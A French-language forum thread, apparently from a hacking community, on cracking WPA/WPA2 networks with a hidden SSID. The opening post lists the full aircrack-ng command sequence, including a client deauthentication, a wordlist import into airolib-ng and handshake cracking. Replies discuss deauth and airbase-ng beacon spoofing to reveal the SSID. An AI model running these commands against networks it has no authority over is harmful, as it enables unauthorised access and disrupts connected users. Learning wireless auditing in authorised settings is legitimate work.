Crack WPA/WPA2 hidden SSID

[SAKAROV]

Tutoriel vidéo :

Crack WPA/WPA2 avec un SSID caché

Les Commandes

airmon-ng start wlan0

airodump-ng mon0

airodump-ng --bssid 00:1B:9E:B2:60:00 -c 1 -w output mon0

aireplay-ng --deauth 10 -a 00:1B:9E:B2:60:00 -c 00:12:17:94:90:0D mon0

airolib-ng crackwpa --import passwd /root/tools/dictionaries/g0tmi1k.lst
kate ~/essid
airolib-ng crackwpa --import essid ~/essid
airolib-ng crackwpa --stats
airolib-ng crackwpa --clean all
airolib-ng crackwpa --batch
airolib-ng crackwpa --verify all

aircrack-ng -r crackwpa output*.cap

[Koala63]

Salut,

Tu peux aussi utiliser airbase en dupliquant les paramètre de l'ap réel, la station ne se connectera évidemment pas mais les beacon vont dévoiler le nom du réseau

[comaX]

Y'a plus simple que ça dis donc ! Si un client est conncté, tu le deauth, et pof. J'ai écrit un tuto sur le SSID decloaking si ça t'intréresse

[artexiso]

Salut,

est-ce qqn a essayé en wpa2? et au niveau temps? juste pour avoir une idée.

[Yarflam]

C'est bizard, j'arrive pas à capter les paquets ARP sur mon réseau Wifi ni les fameux IVs
Peut-être que ma carte est limité ...

CH  1 ][ Elapsed: 11 mins ][ 2012-12-03 20:50                                 
                                                                               
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E
                                                                               
 00:14:FF:FF:FF:FF  -68  24     2572        0    0   6  54   WPA  TKIP   PSK  T
                                                                               
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe     
                                                                               
 00:14:FF:FF:FF:FF  00:08:AA:AA:AA:AA  -73    0 - 1      0       19

En tout cas vaut mieux que je m'entraîne avant de faire des bêtises

[comaX]

Essaye simplement de faire transiter du data (téléchargement, navigation web...). Ceci-dit je ne comprends pas trop ton post. Ca parle avant tout du SSID decloaking, pas tellement du crack de WPA/2 (une erreur de rédaction surement).

[Yarflam]

Oublie ce post. J'avais pas compris le principe. Le dernier en date c'est : http://hackademics.fr/showthread.php...r-sa-cl%E9-WPA